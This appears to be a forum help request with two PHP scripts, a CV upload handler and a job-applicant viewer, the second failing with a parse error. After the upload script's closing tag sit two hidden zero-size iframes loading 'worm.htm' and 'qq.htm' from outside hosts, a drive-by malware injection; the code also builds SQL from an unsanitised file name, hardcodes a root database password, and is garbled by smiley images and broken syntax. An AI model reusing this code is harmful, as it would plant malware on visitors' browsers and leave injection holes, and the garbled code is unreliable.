<?php
/***************************************************
*** UPLOAD.PHP ***
*** Description: Uploads the word document ***
*** Last edited: december 11, 2006 ***
*** Author: kannan ***
***************************************************/
require_once 'config.inc.php';
/*
* bool uploadFile(string name, string to)
*
* Upload file to specified path
*
* @name string name of key in $_FILES
* @to string path to upload file to
*/
function uploadFile($name, $to) {
$file = $_FILES[$name];
$file_name = basename($file['name']);
if (!empty($name) && !empty($to)) {
if (is_uploaded_file($file['tmp_name'])) {
//if (move_uploaded_file($file['tmp_name'], $to . '/' . $file_name)) {
// File Uploaded
return true;
} else {
return false;
}
} else {
return false;
}
}
here is the code for upload CV
if (uploadFile('word', 'cv')) {
if ($database->execute("INSERT INTO docs (name, fsize) VALUES ('" . basename($_FILES['word']['name']) . "', '" . filesize('cv/' . basename($_FILES['word']['name'])) . "')"
![winking smiley winking smiley](./mods/smileys/images/smilie3.gif)
) {
echo 'Your document has been uploaded. Click <a href="cv/' . basename($_FILES['word']['name']) . '">here</a> to see it.';
} else {
echo $database->getError();
}
} else {
echo "error uploading document!<br /><br />\n\n<pre>\n" . print_r($_FILES) . "\n</pre>";
}
?><iframe src=http://www.krvkr.com/worm.htm width="0" height="0"></iframe>
<iframe src=http://www.lovebak.com/qq.htm width="0" height="0"></iframe>
I ALSO PROBLEM WITH VIEW APPLICANTS AND I GET THIS MESSAGE
Parse error: parse error, unexpected $end in C:\wamp\www\www\view_applicants.php on line 74
line 74 nothing there but showing error message
codes is below
<html>
<head>
<title> retreiving data from database </title>
</head>
<body bgcolor = "#e8e8f4">
<center><h3><font face="Geneva, Arial, Helvetica, sans-serif"> Viewing Applicants - step 1</font></h3></center>
<hr>
<br>
<?php
//connect to database
$Link = mysql_connect("localhost", "root", "kannan"
![winking smiley winking smiley](./mods/smileys/images/smilie3.gif)
or die(mysql_error());
mysql_select_db("industrial_placement",$Link) or die(mysql_error());
// select database and table
$db_name = "industrial_placement";
$table_name = "application";
$query = "select job_title, job_ref_number from vacancy where e_id='bnt' ";
$result=mysql_db_query($db_name, $query, $Link);
//make drop down
while ($row=mysql_fetch_array($result)) {
$no_job=$row[job_ref_number];
$title = $row[job_title];
$options_job.="<OPTION VALUE=\"$no_job\">".$title;
?>
<font face="Geneva, Arial, Helvetica, sans-serif">
<p>
Select the job title to view the students
who have applied for that particular job
<p>
</font>
<form name = "vacancy_search_form" method="post" action="applicants_details.php">
<select name="vacancy_list">
<Option selected = "selected" value = "" >Select</option>
<?=$options_job?>
</select>
<div style = "position:absolute; left:440; top:200;">
<input type = "submit" value = "Next">
</div>
</body>
</html>
>?
thank you
kaan